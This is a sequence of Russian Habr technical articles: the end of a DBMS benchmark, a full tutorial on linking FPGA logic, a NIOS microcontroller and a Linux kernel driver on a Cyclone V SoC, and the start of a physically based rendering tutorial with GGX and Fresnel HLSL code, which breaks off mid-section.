Также мы провели интересный эксперимент: как было написано ранее, во view d\_financial\_account\_not\_additive есть два join-а. В каждом из них происходит соединение по account\_rk с типом данных integer, а также по полям с типом данных дата. В Impala нет типа данных date, поэтому мы использовали timestamp. Ради интереса была сделана замена timestamp на bigint, в котором хранился unix timestamp. Результат запроса сразу улучшился на минуту. На следующем шаге данные из account\_rk и поля с датой, это valid\_from\_dt и scd\_valid\_from\_dt, были объединены, чтобы обеспечить join только по одном полю. Это было сделано нехитрым способом:
```
account_valid_from = account_rk * 100000 + cast(unix_timestamp(valid_from_dt)/86400 as int)
```
Join по одному полю дал нам еще около полуминуты выигрыша, но в любом случае это в несколько раз больше чем у других СУБД.
Основные запросы работали в несколько раз дольше. Запрос N2 падал из-за нехватки памяти, поэтому по нему нет результатов.
На текущий момент в Impala отсутствует распределение данных по узлам с hash-распределением, поэтому для используемых запросов мы вряд ли бы получили хорошее время выполнения.
#### Вместо заключения
Мы сознательно не хотим делать вывод из результатов тестирования вида «база А показала себя хорошо в том-то и том-то, а база Б — ~~умеет твитить из админки~~ в том-то и том-то, поэтому А лучше Б», предоставив это читателям. Надеемся, данный текст поможет кому-то открыть для себя новые продукты на рынке СУБД для ETL и BI, а кому-то — принять окончательное решение в выборе.
Эксперимент считаем состоявшимся, на основе его результатов, учитывая всё множество критериев, в данный момент выбираем СУБД для использования в BI-проекте.
Статья публикуется от имени четырёх человек, проводивших тестирование:
— Максим Белоусов
— Дмитрий Немчин (aka 4etvegr)
— Георгий Безруких
— Дмитрий Павлов (aka kapustor)
Иллюстрации, так чудесно описавшие тестируемые БД, взяты из концепта Virtua Hamster (так и не вышедшая игра для Sega 32). | https://habr.com/ru/post/310620/ | null | ru | null |
# Распределённая система управления на базе SoC FPGA
Реализация связки прошивки ПЛИС, ПО микроконтроллера NIOS и управляющего ПО под Linux на базе Altera Cyclone V SoC с использованием Avalon Mailbox для создания на их основе распределенной системы управления.
Введение
========
В распределенной системе управления приходится решать множество разных задач на разных уровнях.
Некоторые задачи целесообразно решать на уровне встраиваемого ПК с полноценной ОС. Полноценная ОС хороша тем, что в ней уже реализовано и отлажено много полезных инструментов, таких как многопоточность, готовые драйвера, библиотеки, разные фреймворки и прочее. И все это можно разрабатывать на языках высокого уровня, особо не вдаваясь в детали реализации на нижнем уровне.
Есть задачи, которые удобно решать на уровне микроконтроллера (далее – МК), либо вообще без ОС (bare-metal), либо с минималистичными ОС реального времени. Здесь ключевую роль играет возможность отладки софта внутри ОС по JTAG и отслеживание происходящего на уровне периферии МК на любом break-point`е.
И есть задачи, которые стоит решать уже на уровне ПЛИС, так как никакого микроконтроллера может не хватить для грамотного параллельного управления разной высокочастотной электроникой, например, драйверами шаговых приводов с обработкой данных энкодеров и регуляторами скоростей. В таких задачах процессор бывает просто лишним.
Количество исполнительных устройств и их различных функций в системе управления сильно возрастает, если речь идет о разработке прибора, например, с трех-степенным манипулятором, парой-тройкой серводвигателей, дюжиной дискретных устройств, кучей периферии на всех популярных интерфейсах (SPI, I2C, UART и т.д.) и сложной логикой с математическим анализом внутри. И всю систему управления очень удобно расположить вообще на одном кристалле, что собственно и будет сделано. В итоге все три уровня управления ПК-МК-ПЛИС и их взаимодействия переместятся внутрь кристалла.
В таком случае неизбежно возникает задача создания транспортного уровня, связывающего всю эту сложную логику между собой. Для связки МК-ПЛИС это решается, фактически, созданием очередного периферийного устройства на общей шине МК со своим набором регистров. Но задача создания транспортного уровня ПК-МК будет решаться немного иначе.
Для экспериментов нам понадобится реальная или виртуальная машина с Ubuntu 16.04 на борту.
Исходные тексты всех программ доступны на [GitHub](https://github.com/asmaslov/hps-nios-fpga).
Архитектура системы управления
==============================
Представим, что все исполнительные устройства системы управления ПК-МК-ПЛИС сводятся к параллельным портам ввода-вывода. Для примера в качестве датчиков и исполнительных устройств ограничимся набором кнопок и светодиодов, а управлять ими будем из командной строки терминала.
Все элементы ПЛИС, в том числе МК, будем синтезировать. Часть ПК уже интегрирована в чип и выполнена на базе Cortex A9, шины которого выведены в ПЛИС и могут быть использованы напрямую. Поэтому все, что придется сделать, это подключить к ядру ОС модули, необходимые для связи с синтезированными узлами в ПЛИС через стандартные средства.
В качестве аппаратной платформы используем комплект [DE0-Nano-SoC](https://rocketboards.org/foswiki/view/Documentation/AtlasSoCDevelopmentPlatform).
Получение прошивки ПЛИС
=======================
Возьмем за основу базовый проект **my\_first\_hps-fpga\_base** из набора [DE0-Nano-SoC CD-ROM (rev.B0 / rev.C0 Board)](http://www.terasic.com/downloads/cd-rom/de0-nano-soc/DE0-Nano-SoC_v.1.1.0_HWrevB0_revC0_SystemCD.zip). Проект содержит в себе предварительно настроенную среду с правильно выставленными портами ПЛИС, готовым блоком *Cyclone V Hard Processor System* с настроенными параметрами памяти и набором вспомогательных элементов в Qsys. Для работы с проектом нам понадобится [Quartus Prime 15.1](http://dl.altera.com/15.1/?edition=standard) с пакетом поддержки Cyclone V и [SoC Embedded Design Suite](http://dl.altera.com/soceds/15.1/?edition=standard).
Внесем некоторые изменения в проект. Добавим ядро NIOS, память для него (16 Кб 32-битной ширины) и порт JTAG. Укажем в параметрах NIOS адреса векторов из добавленной памяти.
Avalon Mailbox является симплексным, поэтому нам нужно два модуля (наподобие RX и TX линий обычного UART). Сигнал прерывания каждого из модулей нужно подключить на тот процессор, для которого модуль является приемным.
Добавим по одному порту (8 бит) ввода и вывода для дальнейшего тестирования системы.
После добавления всех элементов можно сделать автоматический подбор адресов и прерываний.
Создадим порты для кнопок и светодиодов в коде верхнего модуля.
```
// Ports
wire [7:0] port_out;
assign LED = port_out;
wire [7:0] port_in;
assign port_in = {{2{1'b0}}, SW, KEY};
```
Подключим порты к soc\_system.
```
// FPGA Partion
.port_out_export(port_out), // port_out.export
.port_in_export(port_in), // port_in.export
```
Соберем проект и получим прошивку ПЛИС, на базе которой будем дальше работать.
Алгоритм
========
### Итак, создадим систему, которая будет делать следующее:
* При включении тумблера активируется таймер;
* По таймеру с частотой 1 Гц будет загораться один из светодиодов по порядку;
* По нажатию кнопки будет меняться направление;
* При получении команды READ из ПК будет отправляться номер текущего активного светодиода на стандартную консоль Linux;
* При получении команды WRITE из ПК будет меняться текущий активный диод;
* При получении команды REVERSE из ПК будет меняться направление, так же, как от кнопки;
* По нажатию другой кнопки на консоль ПК будет отправляться количество переключений светодиодов с момента последнего реверса.
На стороне МК
=============
В среде NIOS II EDS, которая по сути – Eclipse со всеми нужными плагинами, создадим новый проект **soc\_nios** из шаблона “NIOS II Application and BSP”. В результате получится два проекта: непосредственно прошивка и BSP.
В первую очередь нужно сразу собрать BSP, но не традиционным способом. Вместо этого в контекстном меню проекта **soc\_nios\_bsp** нужно выбрать в меню *NIOS II* пункт *BSP Editor* и включить опции *enable\_small\_c\_library* и *enable\_reduced\_device\_drivers*, чтобы прошивка особо не разрасталась. Затем собрать, нажав *Generate*. В дальнейшем, так как параметры сборки сохранятся, пересобрать BSP можно просто выбором в меню *NIOS II* пункта *Generate BSP*.
В файле **system.h** из проекта BSP можно увидеть все параметры периферии МК, которые были добавлены ранее в схему Qsys.
Более подробно о NIOS и о том, как собирать для него проекты, можно почитать [тут](https://marsohod.org/projects/marsohod2/274-nios2).
### Для решения задачи на уровне МК нам понадобятся:
* Обработчик прерываний от таймера;
```
void TIMER_0_ISR(void* context)
{
IOWR_ALTERA_AVALON_TIMER_STATUS(TIMER_0_BASE, 0);
IOWR_ALTERA_AVALON_TIMER_CONTROL(TIMER_0_BASE, ALTERA_AVALON_TIMER_CONTROL_CONT_MSK);
led += step;
if(led > LED_MAX)
{
led = 0;
}
if(led < 0)
{
led = LED_MAX;
}
IOWR_ALTERA_AVALON_PIO_DATA(PORT_OUT_0_BASE, (1 << led));
count++;
IOWR_ALTERA_AVALON_TIMER_CONTROL(TIMER_0_BASE, ALTERA_AVALON_TIMER_CONTROL_CONT_MSK | ALTERA_AVALON_TIMER_CONTROL_ITO_MSK);
}
```
* Обработчик прерываний от Mailbox;
```
void MAILBOX_HPS2NIOS_ISR(void* context)
{
IOWR_ALTERA_AVALON_MAILBOX_INTR(MAILBOX_SIMPLE_HPS2NIOS_BASE, 0);
//NOTE: Order is important! CMD register should be read after PTR register
buffer[1] = IORD_ALTERA_AVALON_MAILBOX_PTR(MAILBOX_SIMPLE_HPS2NIOS_BASE);
buffer[0] = IORD_ALTERA_AVALON_MAILBOX_CMD(MAILBOX_SIMPLE_HPS2NIOS_BASE);
alt_printf("Reading: 0x%x 0x%x\n\r", buffer[0], buffer[1]);
newMail = true;
IOWR_ALTERA_AVALON_MAILBOX_INTR(MAILBOX_SIMPLE_HPS2NIOS_BASE, ALTERA_AVALON_MAILBOX_SIMPLE_INTR_PEN_MSK);
}
```
* Парсер сообщений и функция записи в Mailbox;
* Функции опроса кнопок и управления светодиодами.
Осталось собрать проект. Размер прошивки NIOS должен составить меньше 16 Кб.
Для тестирования прошивки на железе нужно создать новую конфигурацию отладчика. После прошивки ПЛИС из Quartus Programmer в меню *Debug Configurations* выбираем вариант *NIOS II Hardware*, обновляем все интерфейсы и во вкладке *Target Connections* находим *jtaguart\_1*. Это тот самый JTAG для NIOS, который мы ранее добавили в Qsys.
Теперь можно запускать отладку из Eclipse. Если все сделано правильно, в консоли NIOS II должно появится сообщение «Turn the switch ON to activate the timer».
На стороне ПК
=============
Установка ОС Linux на плату
---------------------------
Подробным образом весь процесс описан [здесь](https://rocketboards.org/foswiki/Documentation/EmbeddedLinuxBeginnerSGuide) в разделах с 1 по 10. Рекомендуется использовать более свежие свежие версии [тулчейна](https://releases.linaro.org/components/toolchain/binaries/6.4-2017.11/arm-linux-gnueabihf/), [бутлоадера](https://github.com/altera-opensource/u-boot-socfpga/releases/tag/rel_socfpga_v2013.01.01_17.12.01_pr) и [ядра](https://github.com/altera-opensource/linux-socfpga/releases/tag/rel_socfpga-4.13_17.12.01_pr), чем те, которые можно найти по ссылке. Обратите внимание, что для сборки данной версии бутлоадера не подойдет тулчейн с компилятором выше 6-й версии.
Для генерации device tree вместо предложенной утилиты sopc2dts лучше использовать скрипт sopc2dts.jar, причем можно указать сразу *--type dtb*.
Для получения системы настоятельно рекомендуется использовать самый свежий [Buildroot](https://buildroot.org/downloads/). Для сборки необходимо принудительно указать переменные окружения CC как путь к arm-linux-gnueabihf-gcc и CXX как путь к arm-linux-gnueabihf-g++ из тулчейна. Далее ввести используемые версии компилятора, ядра и библиотеки (их подскажет сама система в процессе сборки). В настройках тулчейна при конфигурации Buildroot надо обязательно указать путь к тулчейну, а также префикс $(ARCH)-linux-gnueabihf и включить поддержку SSP, RPC и C++.
Для удобства можно добавить в Buildroot пакеты nano, mc и openssh.
Далее, собирать весь софт верхнего уровня будем в [Eclipse](http://www.eclipse.org/downloads/packages/eclipse-ide-cc-developers/neon3) с плагином [GNU MCU Eclipse plug-in](https://gnu-mcu-eclipse.github.io). Создадим новый workspace для ARM проектов и в глобальных настройках Eclipse в разделе *Workspace Tools Path* укажем соответствующий путь к установленной версии Linaro.
Драйвер
-------
Первым делом сделаем драйвер для Mailbox`ов. Создадим в Eclipse новый проект **nios\_mailbox** из шаблона «Hello World ARM C Project».
В настройках проекта выключим опции «Use default build command» и «Generate Makefiles automatically», так как для сборки модуля ядра понадобится команда *make TARGET=nios\_mailbox TARGET\_DIR=Default*. Добавим в переменные окружения две новых записи CROSS\_COMPILE и KDIR, указывающие на полный путь с префиксом тулчейна и путь к исходникам ядра соответственно. В список дефайнов надо добавить \_\_GNUC\_\_, \_\_KERNEL\_\_ и MODULE. Всё. Теперь можно писать код.
Модуль ядра будет реагировать на прерывание из железа и должен как-то сообщать об этом миру приложений. Для этой цели нам понадобится создать свой сигнал.
```
#define NIOS_MAILBOX_REALTIME_SIGNO 44
```
Драйвер будем создавать на базе platform\_device, каждый Mailbox будет как miscdevice, а в конечном итоге в системе будет виден как файл устройства в каталоге /dev. Более подробно о драйверах и вообще можно почитать [тут](http://www.linuxcenter.ru/lib/books/lkmpg.phtml). Важно понимать, что Mailbox`ов у нас может быть теоретически сколько угодно, а драйвер на всех один, и он должен все их инициализировать и пронумеровать.
Если особо не вдаваться в детали, то разработка драйвера сводится к реализации стандартных операций чтения и записи в файл, плюс небольшой бонус в виде специальной функции ioctl(), которая нужна для проброса драйверу id процесса, который его использует. Это нужно для того, чтобы знать, какому процессу в системе сигнализировать о возникновении аппаратного прерывания. Сам обработчик прерывания выглядит довольно просто и очень похож на свой аналог в NIOS.
```
static irq_handler_t nios_mailbox_isr(int irq, void *pdev)
{
struct nios_mailbox_dev *dev = (struct nios_mailbox_dev*)platform_get_drvdata(pdev);
spin_lock(&dev->lock);
//NOTE: Order is important! CMD register should be read after PTR register
dev->data[1] = ioread32(dev->regs + ALTERA_AVALON_MAILBOX_SIMPLE_PTR_OFST * sizeof(u32));
dev->data[0] = ioread32(dev->regs + ALTERA_AVALON_MAILBOX_SIMPLE_CMD_OFST * sizeof(u32));
spin_unlock(&dev->lock);
if(dev->task)
{
send_sig_info(dev->sinfo.si_signo, &dev->sinfo, dev->task);
}
return (irq_handler_t)IRQ_HANDLED;
}
```
Осталось собрать проект. Для этого нам нужно написать специальный Makefile. Выглядеть он будет так.
```
all:
@echo 'KDIR=$(KDIR)'
@echo 'CROSS_COMPILE=$(CROSS_COMPILE)'
@if [ ! -d $(CURDIR)/$(TARGET_DIR) ]; then mkdir $(CURDIR)/$(TARGET_DIR); fi
cp $(TARGET).c $(CURDIR)/$(TARGET_DIR)
cp $(TARGET).h $(CURDIR)/$(TARGET_DIR)
cp Kbuild $(CURDIR)/$(TARGET_DIR)
$(MAKE) -C $(KDIR) ARCH=arm M=$(CURDIR)/$(TARGET_DIR)
clean:
rm -rf main $(CURDIR)/$(TARGET_DIR)
```
И еще нам понадобится создать файл Kbuild с одной строчкой.
```
obj-m := $(TARGET).o
```
Соберем проект традиционным способом. В результате получим модуль ядра **nios\_mailbox.ko**, который скопируем на систему и установим при помощи insmod. Если все сделано правильно, в консоли Linux, открытой по USB, при нажатии соответствующей кнопки на плате должно появится сообщение от ядра "[ .........] NIOS Mailbox new mail!".
Конечно, в драйвер надо бы добавить буфер для принимаемых данных по прерыванию, так как чтение прикладной программой может не успевать за потоком данных от железа. И сам драйвер лучше собирать с опцией *stripped*, для экономии места в embedded-системе. Однако, эти вопросы оставим читателю для самостоятельного изучения.
Приложение
----------
Вот мы и добрались до написания консольного приложения. Создадим в Eclipse новый проект **soc\_test** из шаблона «Hello World ARM C++ Project». В разделе *Settings* в *Target Processor* выберем архитектуру cortex-a9, в *Cross ARM GNU G++ Linker* добавим *-pthread*. Во вкладке *Build Artifact* можно убрать расширение файла. Все остальные настройки можно оставить по-умолчанию.
### Для решения задачи на уровне приложения нам понадобятся:
* Обработчик сигнала;
```
void Nios::mailbox_nios2hps_signal_handler(int signo, siginfo_t *info, void *unused)
{
if(info->si_signo == NIOS_MAILBOX_REALTIME_SIGNO)
{
sem_post(&mailbox_nios2hps_signal_semaphore);
}
}
```
Парсер сообщений от Mailbox;
```
void *Nios::mailbox_nios2hps_data_reader(void *args)
{
uint64_t mes;
while(1)
{
while(sem_wait(&mailbox_nios2hps_signal_semaphore));
if(lseek(mailbox_nios2hps, 0, SEEK_SET) != 0)
{
cerr << "Failed to seek mailbox_nios2hps to proper location" << endl;
continue;
}
read(mailbox_nios2hps, &mes, sizeof(mes));
printf("[HARDWARE] Reading: 0x%08x 0x%08x\n", (uint32_t)mes, (uint32_t)(mes >> 32));
switch ((uint32_t)mes) {
case LED_NUMBER:
printf("Active led %lu\n", (uint32_t)(mes >> 32));
break;
case SWITCH_COUNT:
printf("Led switched %lu times\n", (uint32_t)(mes >> 32));
break;
default:
break;
}
}
return NULL;
}
```
* Функция отправки сообщений в Mailbox;
```
void Nios::mailbox_hps2nios_write(uint64_t mes)
{
if(lseek(mailbox_hps2nios, 0, SEEK_SET) != 0)
{
cerr << "Failed to seek mailbox_hps2nios to proper location" << endl;
}
else
{
printf("[HARDWARE] Writing: 0x%08x 0x%08x\n", (uint32_t)mes, (uint32_t)(mes >> 32));
write(mailbox_hps2nios, &mes, sizeof(mes));
}
}
```
* Процедура настройки с файлами устройств, которые появились после установки драйвера;
```
Nios::Nios ()
{
struct sigaction backup_action;
pid = getpid();
mailbox_nios2hps = open("/dev/nios_mailbox_0", O_RDONLY);
if(mailbox_nios2hps < 0)
{
cerr << "Could not open \"/dev/nios_mailbox_0\"..." << endl;
exit(1);
}
memset(&mailbox_nios2hps_action, 0, sizeof(struct sigaction));
mailbox_nios2hps_action.sa_sigaction = mailbox_nios2hps_signal_handler;
mailbox_nios2hps_action.sa_flags = SA_SIGINFO | SA_NODEFER;
sigaction(NIOS_MAILBOX_REALTIME_SIGNO, &mailbox_nios2hps_action, &backup_action);
if(ioctl(mailbox_nios2hps, IOCTL_SET_PID, &pid))
{
cerr << "Failed IOCTL_SET_PID" << endl;
close(mailbox_nios2hps);
sigaction(NIOS_MAILBOX_REALTIME_SIGNO, &backup_action, NULL);
exit(1);
}
mailbox_hps2nios = open("/dev/nios_mailbox_1", (O_WRONLY | O_SYNC));
if(mailbox_hps2nios < 0)
{
cerr << "Could not open \"/dev/nios_mailbox_1\"..." << endl;
close(mailbox_nios2hps);
sigaction(NIOS_MAILBOX_REALTIME_SIGNO, &backup_action, NULL);
exit(1);
}
pthread_create(&nios2hps_data_reader_thread, NULL, mailbox_nios2hps_data_reader, NULL);
}
```
* Парсер консольных команд.
Осталось собрать проект. В результате получим исполняемый файл для архитектуры ARM-9, который скопируем на систему. Если все сделано правильно, то после запуска в консоли появится сообщение «Enter command (»read"(«r»), «write»(«w»), «reverse»), «q» to exit".
Запуск и проверка системы
=========================
Инсталляцию модуля ядра добавляем в автозагрузку Linux.
Соберем новую версию прошивки NIOS, убрав из программы весь отладочный вывод в JTAG. Преобразуем прошивку в hex формат запуском в *SoC EDS 15.1 Command Shell* команды «elf2hex --input=soc\_nios.elf --output=soc\_nios.hex --width=32 --base=0x4000 --end=0x7fff --record=4». Полученную прошивку нужно добавить как файл инициализации для памяти NIOS в Qsys, затем пересобрать Qsys, пересобрать проект ПЛИС и записать новую прошивку на карту памяти.
Загружаемся и сразу запускаем тестовое приложение. И если все было сделано правильно, то получаем рабочую систему.
Выводы
======
Не бойтесь использовать такие сложные связки как ПЛИС-МК-ПК на основе SoC в своих проектах. В данной статье продемонстрировано, что реализовать такую систему не так уж и сложно. Можно даже добавить несколько микроконтроллеров и связать их вместе подобным образом.
Система управления, созданная на базе изложенных выше принципов, была внедрена автором в один из электронных приборов и доказала свою работоспособность в реальном мире. | https://habr.com/ru/post/353680/ | null | ru | null |
# Готовим Physically Based Rendering + Image-based Lighting. Теория+практика. Шаг за шагом
Хей, привет. 2017 год на дворе. Даже простенькие мобильные и браузерные приложения начинают потихоньку рисовать физически корректное освещение. Интернет пестрит кучей статей и готовых шейдеров. И кажется, что это должно быть так просто тоже обмазаться PBR… Или нет?
В действительности же честный PBR сделать достаточно сложно, потому что легко достичь похожего результата, но сложно правильного. И в интернете полно статей, которые делают именно похожий результат, вместо правильного. Отделить мух от котлет в этом хаосе становится сложно.
Поэтому цель статьи не только разобраться, что же такое PBR и как он работает, но и научиться писать его. Как отлаживать, куда смотреть, и какие ошибки типично можно допустить.
Статья рассчитана на людей, которые в достаточной мере уже знают hlsl и неплохо знакомы с линейной алгеброй, и можете написать свой простейший неPBR Phong свет. В общем я постараюсь как можно проще объяснить, но рассчитываю на то, что некоторый опыт работы с шейдерами вы уже имеете.
Примеры будут написаны на Delphi (и собираются под FreePascal), но основной код будет все же на hlsl. Поэтому не стоит пугаться, если вы не знаете Delphi.
**Где что можно посмотреть и пощупать?**
Для сборки примеров вам понадобится код [AvalancheProject](https://github.com/MrShoor/AvalancheProject). Это мой фреймворк вокруг DX11/OpenGL. Еще понадобится [Vampyre Imaging Library](http://imaginglib.sourceforge.net/). Это библиотека для работы с картинками, я её использую, чтобы загружать текстуры. Сам исходный код примеров находится [тут](https://github.com/MrShoor/PBRSamples). Для тех, кто не хочет/не может собирать бинарники, а хочет воспользоваться уже собранными, то они [тут](https://github.com/MrShoor/PBRSamples/releases/download/1.0/PBRSamples_1_0.zip).
Итак пристегнули ремни, поехали.
1 Важность поддержки sRGB
-------------------------
Наши мониторы обычно показывают sRGB изображение. Это на 95% справедливо для десктопов, и в некоторой степени справедливо для ноутбуков (а на телефонах там сплошной произвол).
Связано это с тем, что наше восприятие не линейно, и небольшие изменения света в темных областях мы замечаем лучше, чем такие же абсолютные изменения в светлых областях. Если грубо — то при повышении яркости в 4 раза мы воспринимаем это как повышение яркости в 2 раза. Я приготовил вам картинку:
Прежде чем пытаться понять картинку — убедитесь, что ваш браузер или операционная система не изменили размеры изображения.
Посредине квадрат, состоящий из горизонтальных однопиксельных черных и белых полос. Количество света от этого квадрата ровно в 2 раза меньше, чем от чисто белого. Теперь если вы отойдете от экрана подальше, чтобы полосы слились в квадрат одного цвета, то на откалиброванном мониторе центральный квадрат должен слиться с правым квадратом, а левый будет значительно темнее. Если вы теперь возьмете пипеткой цвет левого квадрата, то обнаружите что он 128, а правого — 187. Получается, что при смешивании 50/50 черного: 0 0 0 и белого 255 255 255 мы получаем не ~128 128 128, а аж 187 187 187.
Поэтому для физически корректного рендера нам важно, чтобы белый, умноженный на 0.5 на экране превратился в 187 187 187. Для этого в графических API (DirectX и OpenGL) есть аппаратная поддержка sRGB. В момент работы с текстурами в шейдере они переводятся в линейное пространство, а при выводе на экран переводятся обратно в sRGB.
Я не буду подробнее останавливаться на том, как этого добиться в DirectX/OpenGL. Это легко гуглится. А убедится, что ваш sRGB заработал достаточно просто. Линейный градиент от черного к белому должен измениться примерно вот так:
Мне лишь нужно было показать важность работы в линейном пространстве, потому что **это одна из первых ошибок**, которая встречается в интернете в статьях про PBR.
2 Cook-Torrance
---------------
Физически корректный рендер обычно учитывает такие вещи как:
1. Коэффициенты отражения Френеля
2. Закон сохранения энергии
3. Теорию микрограней (**microfacet theory**) для отраженного света и переизлученного
Список может расширяться на microfacet theory для подповерхностного рассеивания (subsurface scattering) и физически корректного преломления и т.д., но в контексте этой статьи мы поговорим о первых трех пунктах.
### 2.1 Microfacet Theory
Поверхности различных материалов в реальном мире не абсолютно гладкие, а очень даже шероховатые. Эти микронеровности значительно больше длинны световой волны, и вносят существенный вклад в освещение. Невозможно описать шероховатую плоскость одним вектором нормали, и нормаль обычно описывает некоторое усредненное значение макроповерхности:
Когда в действительности основной вклад в отраженный свет дают именно микрограни:
Все мы помним, что угол падения равен углу отражения, и вектор h на данном рисунке описывает именно нормаль микрограни, которая дает вклад в освещение. Именно свет от этой точки поверхности мы увидим.
Кроме того, часть света физически не долетит до микрограней, которые могли бы отразить его:
Это называется самозатенение, или **self shadowing**.
А свет, долетевший до поверхности, и отразившийся — не всегда сможет вылететь:
Это называется самоперекрытие, или **masking**. А самый хитрый свет сможет отразиться два и больше раз:
И называется этот эффект — **retroreflection**. Все эти микрограни описываются коэффициентом шероховатости (**roughness**), который обычно (но не всегда) лежит в диапазоне (0;1]. При 0 у нас поверхность идеально гладкая, и микрограней нет. При 1 микрограни распределены так, что равновероятно отражают свет по полусфере. Иногда коэффициент шероховатости заменяют коэффициентом гладкости, который равен 1-roughness.
Вот в принципе и все, как ведут себя поверхности для отраженного света.
### 2.2 Bidirectional Reflectance Distribution Function
Итак, свет попадая на поверхность частично отражается, и частично проникает внутрь материала. Поэтому из общего потока света сначала вычленяют количество отраженного света. Более того, нас интересует не только количество отраженного света, но и количество света, попадающего нам в глаз. И это описывают различные **Bidirectional Reflectance Distribution Function (BRDF)**.
Мы рассмотрим одну из наиболее популярных моделей — модель **Cook-Torrance**:
В этой функции:
**V** — вектор от поверхности в глаз наблюдателя
**N** — макро-нормаль поверхности
**L** — направление от поверхности к источнику света
**D** — функция распределения отраженного света с учетом микрограней. Описывает количество микрограней, повернутых к нам так, чтобы отражать свет к нам в глаз.
**G** — функция распределения самозатенения и самоперекрытия. К сожалению свет, переотраженный несколько раз в этой функции не учитывается, и будет потерян. Мы еще вернемся к этому моменту позже в статье.
**F** — коэффициенты отражения Френеля. Не весь свет отражается. Часть света преломляется и попадет внутрь материала. В данной функции F описывает количество отраженного света.
Еще в формуле не видно такого параметра, как **H** вектор, но он активно будет использоваться в D и G функциях распределения. Смысл **H** вектора — описать нормаль микрограней, которые дают вклад в отраженный свет. Т.е. луч света попавший на микрогрань с нормалью **H** всегда отразится нам в глаз. Поскольку угол падения равен углу отражения, то мы всегда можем вычислить **H**, как **normalize(V+L)**. Вот как-то так:
Функции распределения **D** и **G** представляют собой приближенное решение, и их много, и разных. Я в конце статьи оставлю ссылочку на список таких распределений. Мы же будем использовать **GGX** функции распределения, разработанные Bruce Walter-ом.
### 2.3 G. Геометрия перекрытия
Начнем с самозатенения и перекрытия. Это функция **G**. **GGX** распределение этой функции использует метод Smith-а (Smith 1967, «Geometrical shadowing of a random rough surface»). Главный пойнт этого метода заключается в том, что количество потерянного света от света до поверхности и от поверхности до наблюдателя будет симметрично относительно макронормали поврехности. Поэтому функцию **G** мы можем разбить на 2 части, и посчитать первую половину потерянного света от угла между **N** и **L**, а потом используя эту же функцию посчитать потерянный свет от угла между **V** и **N**. Вот одну половину такой функции **G** и описывает распределение **GGX**:
В этой функции
**αg** — квадрат шероховатости поверхности (roughness\*roughness).
**θv** — угол между макронормалью **N** и в одном случае светом **L**, в другом случае вектором на наблюдателя **V**.
**Χ** — функция, возвращающая ноль если проверяемый луч приходит с противоположной стороны нормали, в остальных случаях возвращает единицу. В шейдере HLSL мы выкинем это из формулы, т.к. будем проверять на самых ранних этапах, и не освещать такой пиксель вообще. В исходной формуле у нас тангенс, однако для рендера удобно использовать косинус угла, т.к. мы его получаем через скалярное произведение. Поэтому я чуть преобразовал формулу, и записал её в HLSL коде:
```
float GGX_PartialGeometry(float cosThetaN, float alpha) {
float cosTheta_sqr = saturate(cosThetaN*cosThetaN);
float tan2 = ( 1 - cosTheta_sqr ) / cosTheta_sqr;
float GP = 2 / ( 1 + sqrt( 1 + alpha * alpha * tan2 ) );
return GP;
}
```
И общий **G** от вектора света и вектора наблюдателя мы считаем так:
```
float roug_sqr = roughness*roughness;
float G = GGX_PartialGeometry(dot(N,V), roug_sqr) * GGX_PartialGeometry(dot(N,L), roug_sqr);
```
Если мы отрендерим шарики, и выведем этот **G**, то получим примерно такую картину:
Источник света находится слева. Шероховатость шариков слева направо от 0.05 до 1.0.
**Проверка**: Ни один пиксель не должен быть больше единицы. Поставьте вот такое условие:
```
Out.Color = G;
if (Out.Color.r > 1.000001) Out.Color.gb = 0.0;
```
Если хоть один аутпут пиксель окажется больше единицы — то он окрасится в красный цвет. Если все сделали правильно — все пиксели останутся белыми.
### 2.4 D. Распределение отражающих микрограней
Итак у нас есть такие параметры: **макронормаль**, **шерохватость**, и **H** вектор. Из этих параметров можно установить какой % микрограней на данном пикселе имеют нормаль, совпадающую с **H**. В **GGX** за это отвечает вот эта функция:
**Χ** — такая же функция как и в случае с **G**. Мы её выкидываем по тем же причинам.
**αg** — квадрат шероховатости поверхности
**θm** — угол между макронормалью **N** и нашим **H** вектором.
Я опять сделал небольшие преобразования, и заменил тангенс на косинус угла. В итоге мы имеем вот такую HLSL функцию:
```
float GGX_Distribution(float cosThetaNH, float alpha) {
float alpha2 = alpha * alpha;
float NH_sqr = saturate(cosThetaNH * cosThetaNH);
float den = NH_sqr * alpha2 + (1.0 - NH_sqr);
return alpha2 / ( PI * den * den );
}
```
И вызываем её вот так:
```
float D = GGX_Distribution(dot(N,H), roughness*roughness);
```
Если вывести значение **D** на экран, то получим примерно такую картину:
Шероховатость по прежнему изменяется от 0.05 слева, до 1.0 справа.
**Проверка**: Обратите внимание на то, что при шероховатости равной 1.0 весь свет должен распределиться равномерно по полусфере. Это значит что последний шарик обязательно должен быть однотонным. Его цвет должен быть 153 153 153 (+-1 из-за округлений), что при [переводе из sRGB в линейное пространство](http://davengrace.com/cgi-bin/cspace.pl) даст 0.318546778125092. Умножив это число на PI мы должны получить примерно единицу, что соответствует отражению по полусфере. Почему PI? Потому что [интеграл cos(x)sin(x) по полусфере](http://www.wolframalpha.com/input/?i=integrate+cos+x+*+sin+x+dx+dy+from+x+%3D+0+to+pi+%2F+2+y+%3D+0+to+pi+*+2) дает PI.
### 2.5 F. Коэффициенты отражения Френеля
Луч света, попав на границу двух разных сред отражается и преломляется.
Формулы Френеля достаточно точно описывают законы, по которым это происходит, но если вы [сходите в вики](https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D1%80%D0%BC%D1%83%D0%BB%D1%8B_%D0%A4%D1%80%D0%B5%D0%BD%D0%B5%D0%BB%D1%8F), и посмотрите на эти многоэтажные формулы, то увидите, что они тяжелые. К счастью есть неплохая аппроксимация, которая используется в большинстве случаев в PBR рендерах, это [аппроксимация Шлика](https://en.wikipedia.org/wiki/Schlick%27s_approximation):
Где **R0** вычисляется как отношение коэффициентов преломления:
а **cosθ** в формуле — косинус угла между падением света и нормалью. Видно, что при **cosθ = 1** формула вырождается в **R0**, а это значит, что физический смысл **R0** — количество отраженного света, если луч падает перпендикулярно поверхности. Давайте сразу оформим это в hlsl код:
```
float3 FresnelSchlick(float3 F0, float cosTheta) {
return F0 + (1.0 - F0) * pow(1.0 - saturate(cosTheta), 5.0);
}
```
Обратите внимание, что **F0** имеет тип **float3**. Это связано с тем, что коэффициенты отражения могут быть разными для разных каналов. Разные материалы отражают разное количество света в зависимости от длинны волны:
А так как у нас в глазах RGB колбочки, то для людей будет достаточно float3.
### 2.6 Складываем вместе
Что ж. Давайте теперь соберем нашу функцию, возвращающую отраженный цвет целиком:
```
